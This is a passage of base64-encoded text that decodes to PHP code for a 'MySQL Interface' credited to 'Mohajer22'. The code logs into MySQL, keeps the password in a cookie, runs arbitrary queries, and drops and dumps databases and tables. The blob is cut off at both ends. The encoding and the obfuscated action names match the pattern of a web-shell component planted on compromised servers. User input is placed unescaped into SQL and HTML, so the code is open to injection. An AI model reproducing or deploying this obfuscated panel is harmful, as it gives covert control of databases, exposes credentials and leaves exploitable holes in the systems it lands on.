Ow0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZD5Ib3N0bmFtZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBuYW1lPWhvc3RuYW1lIHZhbHVlPSdsb2NhbGhvc3QnPjwvdGQ+PC90cj5cbiI7DQoJZWNobyAiPHRyPjx0ZD5Vc2VybmFtZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBuYW1lPXVzZXJuYW1lPjwvdGQ+PC90cj5cbiI7DQoJZWNobyAiPHRyPjx0ZD5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQoNCn0NCg0KZnVuY3Rpb24gZWNob1F1ZXJ5UmVzdWx0KCkgew0KCWdsb2JhbCAkcXVlcnlTdHIsICRlcnJNc2c7DQoNCglpZiggJGVyck1zZyA9PSAiIiApICRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJaWYoICRxdWVyeVN0ciAhPSAiIiApIHsNCgkJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTU+XG4iOw0KCQllY2hvICI8dHI+PHRkPlF1ZXJ5PC90ZD48dGQ+JHF1ZXJ5U3RyPC90ZD48L3RyPlxuIjsNCgkJZWNobyAiPHRyPjx0ZD5SZXN1bHQ8L3RkPjx0ZD4kZXJyTXNnPC90ZD48L3RyPlxuIjsNCgkJZWNobyAiPC90YWJsZT48cD5cbiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBsaXN0RGF0YWJhc2VzKCkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRQSFBfU0VMRjsNCg0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KDQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlREI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kYm5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ3JlYXRlIERhdGFiYXNlJz5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8aHI+XG4iOw0KDQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KDQoJbXlzcWxfY3JlYXRlX2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglsaXN0RGF0YWJhc2VzKCk7DQp9DQoNCmZ1bmN0aW9uIGRyb3BEYXRhYmFzZSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoNCglteXNxbF9kcm9wX2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglsaXN0RGF0YWJhc2VzKCk7DQp9DQoNCmZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KDQoNCgllY2hvICI8aDE+VGFibGVzIExpc3Q8L2gxPlxuIjsNCgllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1jcmVhdGVUYWJsZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT10YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ3JlYXRlIFRhYmxlJz5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1xdWVyeT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0xMjAgbmFtZT1xdWVyeVN0cj5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdRdWVyeSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCg0KCSRwVGFibGUgPSBteXNxbF9saXN0X3RhYmxlcyggJGRibmFtZSApOw0KDQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSR0YWJsZW5hbWUgPSBteXNxbF90YWJsZW5hbWUoICRwVGFibGUsICRpICk7DQoNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCg0KCWVjaG8gIjwvdGFibGU+IjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoNCgkkcXVlcnlTdHIgPSAiQ1JFQVRFIFRBQkxFICR0YWJsZW5hbWUgKCBubyBJTlQgKSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCg0KCWxpc3RUYWJsZXMoKTsNCn0NCg0KZnVuY3Rpb24gZHJvcFRhYmxlKCkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KDQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCg0KCWxpc3RUYWJsZXMoKTsNCn0NCg0KZnVuY3Rpb24gdmlld1NjaGVtYSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCg0KCWVjaG8gIjxoMT5UYWJsZSBTY2hlbWE8L2gxPlxuIjsNCgllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7DQoNCgllY2hvUXVlcnlSZXN1bHQoKTsNCg0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YWRkRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPkFkZCBGaWVsZDwvYT4gfCBcbiI7DQoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPlZpZXcgRGF0YTwvYT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCg0KCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KDQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KDQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRmllbGQiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJOdWxsIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIktleSJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJEZWZhdWx0Il0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkV4dHJhIl0uIjwvdGQ+XG4iOw0KCQkkZmllbGRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1lZGl0RmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnPkVkaXQ8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRyb3BGaWVsZCZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZmaWVsZG5hbWU9JGZpZWxkbmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEcm9wIEZpZWxkIFwnJGZpZWxkbmFtZVwnPycpXCI+RHJvcDwvYT48L3RkPlxuIjsNCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KDQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkKCAkY21kICkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRmaWVsZG5hbWUsICRQSFBfU0VMRjsNCg0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQlpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiKCIgKSApIHsNCgkJCWlmKCAkdHlwZSA9PSAiZW51bSIgfCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQkkdmFsdWVsaXN0ID0gc3RydG9rKCAiICgpXG4iICk7DQoJCQl9IGVsc2Ugew0KCQkJCSRNID0gc3RydG9rKCAiICgsKVxuIiApOw0KCQkJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIsIiApICkNCgkJCQkJJEQgPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQl9DQoJCX0NCgl9DQoNCgllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSRQSFBfU0VMRj5cbiI7DQoNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KDQoJZWNobyAiPGgzPk5hbWU8L2gzPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0kZmllbGRuYW1lPjxwPlxuIjsNCgllY2hvICcNCg0KPGgzPlR5cGU8L2gzPg0KDQo8Zm9udCBzaXplPTI+DQoqIGBNXCcgaW5kaWNhdGVzIHRoZSBtYXhpbXVtIGRpc3BsYXkgc2l6ZS48YnI+DQoqIGBEXCcgYXBwbGllcyB0byBmbG9hdGluZy1wb2ludCB0eXBlcyBhbmQgaW5kaWNhdGVzIHRoZSBudW1iZXIgb2YgZGlnaXRzIGZvbGxvd2luZyB0aGUgZGVjaW1hbCBwb2ludC48YnI+DQo8L2ZvbnQ+DQoNCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iSU5UIiAnOyBpZiggJHR5cGUgPT0gImludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+SU5UICgtMjE0NzQ4MzY0OCB+IDIxNDc0ODM2NDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkJJR0lOVCIgJzsgaWYoICR0eXBlID09ICJiaWdpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkJJR0lOVCAoLTkyMjMzNzIwMzY4NTQ3NzU4MDggfiA5MjIzMzcyMDM2ODU0Nzc1ODA3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJGTE9BVCIgJzsgaWYoICR0eXBlID09ICJmbG9hdCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+RkxPQVQ8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRE9VQkxFIiAnOyBpZiggJHR5cGUgPT0gImRvdWJsZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+RE9VQkxFPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRFQ0lNQUwiICc7IGlmKCAkdHlwZSA9PSAiZGVjaW1hbCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+REVDSU1BTChOVU1FUklDKTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJEQVRFIiAnOyBpZiggJHR5cGUgPT0gImRhdGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEUgKDEwMDAtMDEtMDEgfiA5OTk5LTEyLTMxLCBZWVlZLU1NLUREKTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJEQVRFVElNRSIgJzsgaWYoICR0eXBlID09ICJkYXRldGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+REFURVRJTUUgKDEwMDAtMDEtMDEgMDA6MDA6MDAgfiA5OTk5LTEyLTMxIDIzOjU5OjU5LCBZWVlZLU1NLUREIEhIOk1NOlNTKTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJUSU1FU1RBTVAiICc7IGlmKCAkdHlwZSA9PSAidGltZXN0YW1wIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU1FU1RBTVAgKDE5NzAtMDEtMDEgMDA6MDA6MDAgfiAyMTA2Li4uLCBZWVlZTU1ERFtISFtNTVtTU11dXSk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlv